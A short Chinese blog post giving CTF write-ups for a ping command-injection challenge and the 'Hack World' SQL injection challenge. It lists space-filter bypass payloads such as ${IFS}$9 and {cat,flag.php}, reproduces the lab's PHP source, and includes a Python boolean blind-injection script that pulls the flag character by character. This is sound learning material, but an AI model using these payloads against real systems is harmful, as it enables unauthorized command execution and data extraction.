DASBOOK3

DASBOOK

三、第三章

1、3.1.6 案例解析Ping Ping Ping
  • 代替空格的常用方法

    ${IFS}$9
    {IFS}
    $IFS
    ${IFS}
    $IFS$1 //$1改成$加其他数字貌似都行
    < 
    <> 
    {cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
    %20   (space)
    %09   (tab)
    
  • 靶场中常见的Ping,先试一下查看命令是否可以正常使用

    image-20230927111406544

    可以使用并发现了flag.php的文件

  • 查看flag.php文件

    • 过滤空格

    • 过滤flag

    • 利用变量替换flag

      • 查看页面源码

2、3.2.6 案例解析Hack World
  • 知道表名和列名,尝试联合注入,报错注入都无法解决,过滤了很多的关键词以及注释符,关卡源码

    <?php
    $dbuser='root';
    $dbpass='root';
    
    function safe($sql){
        #被过滤的内容 函数基本没过滤
        $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
        foreach($blackList as $blackitem){
            if(stripos($sql,$blackitem)){
                return False;
            }
        }
        return True;
    }
    if(isset($_POST['id'])){
        $id = $_POST['id'];
    }else{
        die();
    }
    $db = mysql_connect("localhost",$dbuser,$dbpass);
    if(!$db){
        die(mysql_error());
    }   
    mysql_select_db("ctf",$db);
    
    if(safe($id)){
        $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
        
        if($query){
            $result = mysql_fetch_array($query);
            
            if($result){
                echo $result['content'];
            }else{
                echo "Error Occured When Fetch Result.";
            }
        }else{
            var_dump($query);
        }
    }else{
        die("SQL Injection Checked.");
    }
    
  • 尝试用盲注,页面会显示正确和错误的一些信息,所以用布尔盲注

  • 列名和表名已知,可以写一段脚本来获得flag

    import requests
    
    url = "http://bf8576cc-65fd-4b95-b4f5-fd48c8d6fcd5.node4.buuoj.cn:81/index.php"
    
    
    def get_flag():
        for i in range(60):
            for j in range(33, 127):
                post_data = {
                    'id': 'if(ascii(substr((select(flag)from(flag)),{},1))={},1,2)'.format(i, j)
                }
                res = requests.post(url=url,data=post_data)
                if 'Hello' in res.text:
                    print(chr(j), end='')
                    break
    
    get_flag()
    

    运行结果:

posted @ 2023-09-27 22:14  凉城厌心  阅读(38)  评论(0编辑  收藏  举报